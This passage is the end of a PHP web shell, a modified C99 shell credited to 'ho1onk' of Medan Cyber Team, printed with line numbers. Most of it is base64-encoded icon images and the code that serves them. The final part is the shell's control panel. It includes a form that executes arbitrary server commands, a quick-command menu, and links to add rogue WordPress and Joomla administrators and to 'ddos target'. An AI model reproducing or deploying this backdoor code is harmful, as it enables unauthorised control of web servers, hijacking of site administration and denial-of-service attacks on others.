5630"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
5631
5632"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
5633
5634"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
5635
5636"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
5637
5638"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
5639
5640"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
5641
5642"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
5643
5644"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
5645
5646"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA".
5647
5648"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==",
5649
5650"sql_button_insert"=>
5651
5652"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
5653
5654"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
5655
5656"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
5657
5658"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
5659
5660"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
5661
5662"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
5663
5664"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
5665
5666"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
5667
5668"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
5669
5670"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
5671
5672"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
5673
5674"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
5675
5676"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
5677
5678"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA".
5679
5680"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=",
5681
5682"up"=>
5683
5684"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA".
5685
5686"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg".
5687
5688"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV".
5689
5690"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==",
5691
5692"write"=>
5693
5694"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA".
5695
5696"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze".
5697
5698"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61".
5699
5700"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==",
5701
5702"ext_asp"=>
5703
5704"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/".
5705
5706"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI".
5707
5708"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=",
5709
5710"ext_mp3"=>
5711
5712"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU".
5713
5714"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc".
5715
5716"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",
5717
5718"ext_avi"=>
5719
5720"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM".
5721
5722"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4".
5723
5724"PYXCyg+V2i44XeRmSfYqsGhAAgA7",
5725
5726"ext_cgi"=>
5727
5728"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9".
5729
5730"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6".
5731
5732"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S".
5733
5734"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ".
5735
5736"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
5737
5738"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
5739
5740"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
5741
5742"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM".
5743
5744"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD".
5745
5746"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi".
5747
5748"RYtMAgEAOw==",
5749
5750"ext_cmd"=>
5751
5752"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI".
5753
5754"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN".
5755
5756"dmrYAMn1onq/YKpjvEgAADs=",
5757
5758"ext_cpp"=>
5759
5760"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC".
5761
5762"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra".
5763
5764"Eq7YrLDE7a4SADs=",
5765
5766"ext_ini"=>
5767
5768"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL".
5769
5770"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM".
5771
5772"SnEjgPVarHEHgrB43JvszsQEADs=",
5773
5774"ext_diz"=>
5775
5776"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs".
5777
5778"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv".
5779
5780"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3".
5781
5782"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr".
5783
5784"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX".
5785
5786"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA".
5787
5788"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW".
5789
5790"9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK".
5791
5792"4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
5793
5794"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
5795
5796"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
5797
5798"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
5799
5800"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
5801
5802"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
5803
5804"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm".
5805
5806"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg".
5807
5808"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF".
5809
5810"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA".
5811
5812"Ow==",
5813
5814"ext_doc"=>
5815
5816"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR".
5817
5818"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq".
5819
5820"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=",
5821
5822"ext_exe"=>
5823
5824"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7".
5825
5826"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt".
5827
5828"xhIAOw==",
5829
5830"ext_h"=>
5831
5832"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB".
5833
5834"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo".
5835
5836"Wq/NknbbSgAAOw==",
5837
5838"ext_hpp"=>
5839
5840"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF".
5841
5842"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR".
5843
5844"UqUagnbLdZa+YFcCADs=",
5845
5846"ext_htaccess"=>
5847
5848"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6".
5849
5850"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ".
5851
5852"AAA7",
5853
5854"ext_html"=>
5855
5856"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz".
5857
5858"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P".
5859
5860"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk".
5861
5862"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR".
5863
5864"ADs=",
5865
5866"ext_jpg"=>
5867
5868"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA".
5869
5870"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci".
5871
5872"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd".
5873
5874"FxEAOw==",
5875
5876"ext_js"=>
5877
5878"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH".
5879
5880"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs".
5881
5882"a00AjYYBbc/o9HjNniUAADs=",
5883
5884 );
5885
5886 //For simple size- and speed-optimization.
5887
5888 $imgequals = array(
5889
5890 "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
5891
5892 "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
5893
5894 "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
5895
5896 "ext_html"=>array("ext_html","ext_htm"),
5897
5898 "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
5899
5900 "ext_lnk"=>array("ext_lnk","ext_url"),
5901
5902 "ext_ini"=>array("ext_ini","ext_css","ext_inf"),
5903
5904 "ext_doc"=>array("ext_doc","ext_dot"),
5905
5906 "ext_js"=>array("ext_js","ext_vbs"),
5907
5908 "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
5909
5910 "ext_wri"=>array("ext_wri","ext_rtf"),
5911
5912 "ext_swf"=>array("ext_swf","ext_fla"),
5913
5914 "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
5915
5916 "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
5917
5918 );
5919
5920 if (!$getall)
5921
5922 {
5923
5924 header("Content-type: image/gif");
5925
5926 header("Cache-control: public");
5927
5928 header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
5929
5930 header("Cache-control: max-age=".(60*60*24*7));
5931
5932 header("Last-Modified: ".date("r",filemtime(__FILE__)));
5933
5934 foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
5935
5936 if (empty($images[$img])) {$img = "small_unk";}
5937
5938 if (in_array($img,$ext_tar)) {$img = "ext_tar";}
5939
5940 echo base64_decode($images[$img]);
5941
5942 }
5943
5944 else
5945
5946 {
5947
5948 foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}}
5949
5950 natsort($images);
5951
5952 $k = array_keys($images);
5953
5954 echo "<center>";
5955
5956 foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";}
5957
5958 echo "</center>";
5959
5960 }
5961
5962 exit;
5963
5964}
5965
5966if ($act == "about")
5967{
5968echo "<center>C99 modify by ho1onk<br><br>Thanks to : xb, m0st3r, KillerByte<br><br>All my friends.. Medan Cyber Team</center>";
5969}
5970
5971?>
5972
5973</td></tr></table><a bookmark="minipanel"><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 height="1" width="90%">
5974
5975<tr></tr>
5976
5977<tr><td width="50%" height="1" valign="top"><center><b>:: <b>Command Execute</b> ::</b><form action="?act=cmd" method="post"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>" /> <input class="inputzbut" type="submit" value="Execute" name="submitcmd" /></form></td>
5978 <td width="50%" height="1" valign="top"><center>
5979<b>:: <b>Quick Commands</b> ::</b>
5980 <form action="?act=cmd" method="post">
5981 <input type="hidden" name="act" value="cmd">
5982 <input type="hidden" name="d" value="<?php echo $dispd; ?>">
5983 <input type="hidden" name="cmd" value="1">
5984 <select name="cmd">
5985<?php
5986foreach ($cmdaliases as $als) {
5987 echo "\t\t\t";
5988 echo '<option value="'.htmlspecialchars($als[1]).'">'.htmlspecialchars($als[0]).'</option>';
5989 echo "\n";
5990}
5991?>
5992 </select>
5993 <input class="inputzbut" type="submit" value="Execute" name="submitcmd" />
5994 </form>
5995 </td></tr></TABLE>
5996
5997
5998<TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 width="90%"><tr><td width="990" height="1" valign="top"><p align="center">--[ :: <a href="?act=wordpress">add admin wp</a> :: <a href="?act=joomla">add admin joomla</a> :: <a href="?act=dd0s">ddos target</a> :: <a href="?act=about">about</a> :: ]--</p></table><br><br>
5999
6000<TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 width="90%"><tr><td width="990" height="1" valign="top">
6001<p align="center">
6002<b>Powered by ho1onk - <a href="http://medancyberteam.web.id">@MedanCyberTeam</a> - <a href="irc://irc.medancyberteam.web.id">irc.medancyberteam.web.id</a></b>
6003</p>
6004</table>
6005</body></html><?php chdir($lastdir); c999shexit(); ?>